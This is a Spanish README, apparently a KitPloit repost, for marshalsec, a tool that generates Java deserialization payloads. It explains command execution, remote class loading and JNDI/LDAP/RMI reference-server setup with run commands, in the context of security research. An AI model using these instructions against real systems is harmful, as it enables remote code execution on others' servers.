Java Unmarshaller Security - Convirtiendo tus datos en ejecución de código

Si has llegado aquí por Log4Shell/CVE-2021-44228, quizás quieras leer sobre los vectores de explotación y las versiones afectadas del runtime de Java: https://mbechler.github.io/2021/12/10/PSA_Log4Shell_JNDI_Injection/

Documento

Han pasado más de dos años desde que Chris Frohoff y Garbriel Lawrence presentaron su investigación sobre vulnerabilidades de deserialización de objetos en Java, que finalmente resultó en lo que fácilmente puede describirse como la mayor ola de errores de ejecución remota de código en la historia de Java.

La investigación al respecto indicó que estas vulnerabilidades no son exclusivas de mecanismos tan expresivos como la serialización de Java o XStream, pero algunas podrían aplicarse también a otros mecanismos.

Este documento presenta un análisis, incluidos detalles de explotación, de varias librerías de marshalling de código abierto en Java que permiten (o permitían) el unmarshalling de tipos arbitrarios proporcionados por el atacante, y demuestra que sin importar cómo se realice este proceso ni qué restricciones implícitas existan, es propenso a técnicas de explotación similares.

El documento completo está en marshalsec.pdf

Descargo de responsabilidad

Toda la información y el código se proporcionan únicamente con fines educativos y/o para probar tus propios sistemas contra estas vulnerabilidades.

Uso

Se requiere Java 8. Compila usando maven mvn clean package -DskipTests. Ejecuta así:

java -cp target/marshalsec-[VERSION]-SNAPSHOT-all.jar marshalsec.<Marshaller> [-a] [-v] [-t] [<gadget_type> [<arguments...>]]

donde

• -a - genera/prueba todos los payloads para ese marshaller
• -t - ejecuta en modo de prueba, realizando el unmarshalling de los payloads generados después de generarlos.
• -v - modo verboso, p. ej., también muestra el payload generado en modo de prueba.
• gadget_type - Identificador de un gadget específico; si se omite, se mostrarán los disponibles para ese marshaller concreto.
• arguments - Argumentos específicos del gadget

Se incluyen generadores de payloads para los siguientes marshallers:

Argumentos y requisitos adicionales

Ejecución de comandos del sistema

• cmd - comando a ejecutar
• args... - parámetros adicionales pasados como argumentos

Sin requisitos previos.

Carga de clases remota (simple)

• codebase - URL de la base de código remota
• class - Clase a cargar

Requisitos previos:

• Configura un servidor web que aloje un classpath de Java en algún directorio.
• Los archivos de clase compilados que se van a cargar deben servirse según las convenciones del classpath de Java.

Carga de clases remota (ServiceLoader)

• service_codebase - URL de la base de código remota

El servicio a cargar está actualmente fijado (hardcoded) a javax.script.ScriptEngineFactory.

Requisitos previos:

• Igual que en la carga de clases remota simple.
• También necesita un archivo de configuración del proveedor en /META-INF/javax.script.ScriptEngineFactory que contenga el nombre de la clase objetivo en texto plano.
• La clase objetivo especificada allí debe implementar la interfaz de servicio javax.script.ScriptEngineFactory.

Indirección de referencia JNDI

• jndiUrl - URL JNDI sobre la que se activará la búsqueda (lookup)

Requisitos previos:

• Configura una base de código remota, igual que en la carga de clases remota.
• Ejecuta un servicio redireccionador de referencias JNDI que apunte a esa base de código: se incluyen dos implementaciones: marshalsec.jndi.LDAPRefServer y RMIRefServer.
  root@kitploit:~

  java -cp target/marshalsec-[VERSION]-SNAPSHOT-all.jar marshalsec.jndi.(LDAP|RMI)RefServer <codebase>#<class> [<port>]
  

• Usa (ldap|rmi)://host:port/obj como jndiUrl, apuntando a la dirección de escucha de ese servicio.

Ejecución de pruebas

Hay un par de propiedades del sistema que controlan los argumentos al ejecutar las pruebas (a través de maven o al usar -a)

• exploit.codebase, por defecto http://localhost:8080/
• exploit.codebaseClass, por defecto Exploit
• exploit.jndiUrl, por defecto ldap://localhost:1389/obj
• exploit.exec, por defecto /usr/bin/gedit

Las pruebas se ejecutan con un SecurityManager instalado que comprueba la ejecución de comandos del sistema, así como el código que se ejecuta desde bases de código remotas. Para que esto funcione, la clase cargada en uso debe activar alguna comprobación del security manager.